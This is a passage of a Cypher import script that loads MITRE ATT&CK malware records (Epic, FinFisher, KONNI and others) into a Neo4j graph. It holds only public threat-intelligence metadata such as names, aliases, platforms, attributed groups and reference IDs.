"9a50ba95-916d-4b21-bec2-64490ecae0b8", "08609bbe-eaac-45db-ad54-92534ef8d0de", "3c50529e-245b-4cdb-be4b-3b0808b78986"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:10080, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:58.738Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.2\",\"x_mitre_aliases\":[\"Epic\",\"Tavdig\",\"Wipbot\",\"WorldCupSec\",\"TadjMakhal\"],\"x_mitre_contributors\":[\"Martin Smolar, ESET\"]}", description:"[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Epic", modified:"2019-07-26T16:10:41.304Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--6b62e336-176f-417b-856a-8552dd8c44e1", external_references:["a0347841-afb2-4409-9912-7c1411744884", "7f1a8a33-63a9-457a-9191-e9a584286784", "ac7a22da-a007-4fdc-9bbd-1ce06b774416", "0f79d2b1-b4fb-43bb-9d21-a49185ec4771", "ae76b614-2e94-46b5-9e09-c639fa3d3aaf", "68c9aff8-428c-4537-9e98-78cc38d091eb", "5da96c29-2706-4499-b410-f1775421d104"]}}, {_id:10092, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"EvilGrab\"],\"x_mitre_version\":\"1.0\"}", description:"[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"EvilGrab", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", external_references:["a481e5d6-835b-4288-a4af-7f10b61ebe92", "3d9e3991-4c69-4ea4-bdcb-4eaa8af568dc"]}}, {_id:10099, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T15:10:03.894Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Exaramel for Windows\"],\"x_mitre_version\":\"2.0\"}", description:"[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Exaramel for Windows", modified:"2019-09-04T23:04:50.014Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", external_references:["b6fe219f-ca49-4e4e-9e0f-605b3fe1f160", "acff4d3e-36b4-446f-9bd0-18af1a5f1c69", "54701043-820e-4da5-87e0-94fe518a105d"]}}, {_id:10103, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"FALLCHILL\"],\"x_mitre_version\":\"1.0\"}", description:"[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"FALLCHILL", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--fece06b7-d4b1-42cf-b81a-5323c917546e", external_references:["5cface3d-e0d5-441a-bf1b-8b9fa6ee8bec", "72b086df-f7e5-4c8d-af27-4dab5593722d", "bec17dcc-b160-411e-b870-78249fe7802b"]}}, {_id:10120, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:52.470Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"FakeM\"],\"x_mitre_version\":\"1.0\"}", description:"[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"FakeM", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--bb3c1098-d654-4620-bf40-694386d28921", external_references:["1e79c6a9-f8a2-4e1f-9f19-845fe28325b6", "bcececaa-f928-4aed-a33f-c15eefce7064"]}}, {_id:10123, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Felismus\"],\"x_mitre_version\":\"1.0\"}", description:"[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Felismus", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", external_references:["eecf6cbf-4f0f-40eb-9cbe-786e3bae750a", "bcbeab0d-d3bb-43ef-b060-d7a21627c0cf", "1d4e68b6-869e-4dd6-a3ec-c3e575f66047", "1824aeeb-74c7-4e00-ab4e-f0085892a76d"]}}, {_id:10128, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Android\"],\"x_mitre_version\":\"1.2\",\"x_mitre_aliases\":[\"FinFisher\",\"FinSpy\"]}", description:"[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"FinFisher", modified:"2019-10-15T20:02:39.677Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--a5528622-3a8a-4633-86ce-8cdaf8423858", external_references:["4aaabb95-578d-4d9b-aba4-6b99d964e322", "7b8301c6-09ab-43e6-b000-57ac658ae131", "4ec0ac7c-1cc1-4c9a-8834-e82851af97b3", "67ebb6a5-ab1b-47d9-85e7-2baf90fd3342", "f338dc28-9485-442a-bd00-dd7bc8e7dda5", "2dd8b2e7-e13b-4311-bca1-763700029488", "b6335c02-ffbc-49c7-bdd6-823182bd94d8", "b8a44048-dc84-4a20-ade5-bc8ee9670b94"]}}, {_id:10149, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-05-28T19:07:29.816Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"FlawedAmmyy\"]}", description:"[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"FlawedAmmyy", modified:"2019-05-30T17:23:30.432Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--432555de-63bf-4f2a-a3fa-f720a4561078", external_references:["5e09cb25-db97-4346-bfed-c84588794030", "9b3aadb4-aa3d-4b3d-b79e-bd07f5e7680b"]}}, {_id:10159, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-09-12T17:40:38.303Z", custom:"{\"x_mitre_platforms\":[\"Linux\"],\"x_mitre_aliases\":[\"Fysbis\"],\"x_mitre_version\":\"1.0\"}", description:"[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Fysbis", modified:"2019-10-14T19:21:25.345Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", external_references:["db8fbe0c-73ad-43f1-baff-fe39a6aad2c0", "bde04d45-3c27-40eb-929b-57ab762f620d"]}}, {_id:10168, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Gazer\",\"WhiteBear\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Bartosz Jerzman\"]}", description:"[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Gazer", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--76abb3ef-dafd-4762-97cb-a35379429db4", external_references:["a0646464-905f-4ceb-bb00-b6b34c061fe7", "402c8e54-f773-4415-9a36-7eb649ac6e00", "649ce4f9-7f27-4a89-9a90-10eed59a3752", "8f4884d5-3598-483b-b7b7-f2e2c29e94d5", "802d4d26-5665-492c-b8c5-c855efcb3c7a"]}}, {_id:10174, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:36.177Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"GeminiDuke\"],\"x_mitre_version\":\"1.0\"}", description:"[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"GeminiDuke", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--199463de-d9be-46d6-bb41-07234c1dd5a6", external_references:["849a2ffc-6157-495b-a09c-d1164470015e", "f773b8f2-8fc7-49d9-81cb-929d9cea39d4"]}}, {_id:10185, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T13:53:14.264Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"GreyEnergy\"]}", description:"[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"GreyEnergy", modified:"2019-04-17T22:22:21.777Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", external_references:["63ac5365-6d2b-4339-8803-2aa471cf7f87", "ca254d5e-54ed-46ed-8c4f-b1de45c40bc7", "ca3cb7ef-456d-4811-b720-4d59d39a4e64"]}}, {_id:10189, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:15.910Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"H1N1\"],\"x_mitre_version\":\"1.1\"}", description:"[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"H1N1", modified:"2019-04-29T18:23:15.823Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", external_references:["2386912f-983d-49e1-a127-c19cb9d301af", "c7d571ff-4224-45b8-a983-d7c84f92f615"]}}, {_id:10195, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:29.203Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"HAMMERTOSS\",\"HammerDuke\",\"NetDuke\"],\"x_mitre_version\":\"1.1\"}", description:"[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"HAMMERTOSS", modified:"2019-10-11T19:07:42.242Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", external_references:["acc323e1-7b41-4067-b94e-fec220131d52", "47c187e2-a18a-4448-97bd-e4319f320488", "889e67f1-0561-4d09-b511-c55c9fa21908"]}}, {_id:10222, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-19T15:30:36.593Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"HOPLIGHT\"],\"x_mitre_version\":\"1.0\"}", description:"[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"HOPLIGHT", modified:"2019-04-22T19:41:53.168Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", external_references:["1dee220a-c0e7-4b68-9470-3e6fea0c7c5e", "a02b03cb-cc53-45b0-8e7f-4900751843c7", "ed9a50f7-9ef4-416c-aa60-eb4b3c38a784"]}}, {_id:10226, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:46.445Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"HTTPBrowser\",\"Token Control\",\"HttpDump\"],\"x_mitre_version\":\"1.0\"}", description:"[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"HTTPBrowser", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", external_references:["c03c25d0-8205-4a30-a301-02fef252bc7c", "3cf8484e-60dd-482e-872e-743f0586000e", "752fef9a-85c4-4fd8-9cc3-2c83780f15c9", "3c9e881e-1c63-4761-8e7f-fbadea49de88", "2df9a61e-0896-4317-a1ac-7bd3c87aac4d"]}}, {_id:10235, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Helminth\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Robert Falcone\"]}", description:"[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Helminth", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", external_references:["d2cbcac4-b5eb-448e-99ab-54ec872dab23", "f6076788-5452-4288-a699-2e9cd40b7b98", "10538b87-6927-4e41-b279-5b0a39879f85"]}}, {_id:10239, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:56.860Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Hi-Zor\"],\"x_mitre_version\":\"1.0\"}", description:"[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Hi-Zor", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", external_references:["1aacde85-cb95-4f32-8dcc-ca836ec3b554", "ea9ec058-c89a-4c53-a0d9-eed397b0afe6"]}}, {_id:10272, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"InnaputRAT\"],\"x_mitre_version\":\"1.0\"}", description:"[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim’s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"InnaputRAT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", external_references:["75a26108-acdd-4e6a-969e-466507762c3b", "3b39f2c4-f61f-448b-99af-51b0469cffae", "8faedcf3-526d-4cd5-b877-e18a76895d63"]}}, {_id:10276, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"InvisiMole\"],\"x_mitre_version\":\"1.0\"}", description:"[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"InvisiMole", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--47afe41c-4c08-485e-b062-c3bd209a1cce", external_references:["0beca89e-8c2b-4a76-bca2-6abbdc3e580f", "2628f442-5c69-49cb-8f80-9d6029a9c0b9", "32a7091c-c04a-4d87-a28f-dde1e3f38130"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:10280, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:16.360Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Ixeshe\"],\"x_mitre_version\":\"1.1\"}", description:"[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Ixeshe", modified:"2019-06-10T19:29:30.518Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", external_references:["f32ecd59-71f2-4ef5-92d9-88e6a839b6eb", "2cfeb570-43cd-49a6-8e24-b45512fb660b"]}}, {_id:10283, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-18T17:20:43.635Z", custom:"{\"x_mitre_aliases\":[\"JCry\"],\"x_mitre_version\":\"1.0\"}", description:"[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"JCry", modified:"2019-06-30T23:03:25.914Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", external_references:["162f7b25-c585-4983-98a2-75de1cbc21cb", "d3e3fd82-0761-4acd-a282-c855c974399b", "b3f1b64d-cb05-4cfc-8209-c42796abf282"]}}, {_id:10287, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:34.199Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"JHUHUGIT\",\"Trojan.Sofacy\",\"Seduploader\",\"JKEYSKW\",\"Sednit\",\"GAMEFISH\",\"SofacyCarberp\"],\"x_mitre_version\":\"2.0\"}", description:"[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"JHUHUGIT", modified:"2019-02-01T14:39:35.456Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", external_references:["46265b6d-085f-4ec3-9417-ed026047ca5c", "d835e06d-d0c9-409e-8eba-6f57808d3d3c", "9880f055-ff5d-4e12-937f-1bdd89f5bec4", "72c8f24b-d7e4-4123-95b7-1c2eda1e8032", "6f7469b2-f4ec-44da-b7f6-33fe2181ad3a", "a96a7ae2-fa05-4765-a47c-f74ad9614012", "d4d3d58d-86ce-423b-998d-b113375c4a69", "ba4a12d8-27dd-49bd-a701-b080a63b9ecd", "2be07559-7e81-40c4-bd7e-959997b6d95a", "bf397883-735c-45da-ad21-dcd66e67eda7", "09bf8589-c2fb-4a31-84b1-f6cb0177702b", "c2989695-a155-4694-a6b8-a4d70b44cfa2", "47317c60-9af6-4f0c-b976-f8a82ca3f1fd", "931432e4-12db-46a3-8e88-12a22cf8df11", "73cb580f-d123-4a3e-8cb6-9c44d2c39ee3"]}}, {_id:10303, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"JPIN\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Ryan Becwar\"]}", description:"[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"JPIN", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--de6cb631-52f6-4169-a73b-7965390b0c30", external_references:["8319432c-b5b6-47d0-822f-1fb5372d3e59", "b1ffb04d-4921-4e18-99ca-8dbe467072f7", "2ebc9f9c-9aba-45cf-8449-41d12aabb6a1"]}}, {_id:10322, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-31T00:36:39.771Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"KONNI\"]}", description:"[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"KONNI", modified:"2019-07-26T18:47:18.141Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", external_references:["ca848240-be22-40ec-ad0b-b05ef6af9f81", "1a0c0c5b-04f8-4e90-89a9-9e57cf98a0f6", "f8dbe0a8-6d8d-4bb2-ac1e-d1a9cc45a077", "d84bb8fc-5197-40f1-94bc-5a4e6c1c69d5", "b97812c6-ed77-43ed-b377-30514d801218"]}}, {_id:10328, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:57.344Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Kasidet\"],\"x_mitre_version\":\"1.0\"}", description:"[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Kasidet", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--26fed817-e7bf-41f9-829a-9075ffac45c2", external_references:["7162704b-8b31-4c0d-844a-44056fbf965c", "29b7137e-936a-4537-912b-ae995b40aaaf"]}}, {_id:10331, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"macOS\"],\"x_mitre_aliases\":[\"Kazuar\"],\"x_mitre_version\":\"1.1\"}", description:"[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Kazuar", modified:"2019-04-24T15:26:03.457Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", external_references:["ef8b2a3c-da8a-4e5e-96e0-9e6847aac441", "079711df-5786-43f0-9454-8cd48e8751fd", "af79cf8b-47de-40ee-98a6-5a2b795f9df0"]}}, {_id:10335, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-14T16:45:33.729Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"KeyBoy\"],\"x_mitre_contributors\":[\"Bart Parys\"]}", description:"[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"KeyBoy", modified:"2019-10-11T20:13:22.095Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", 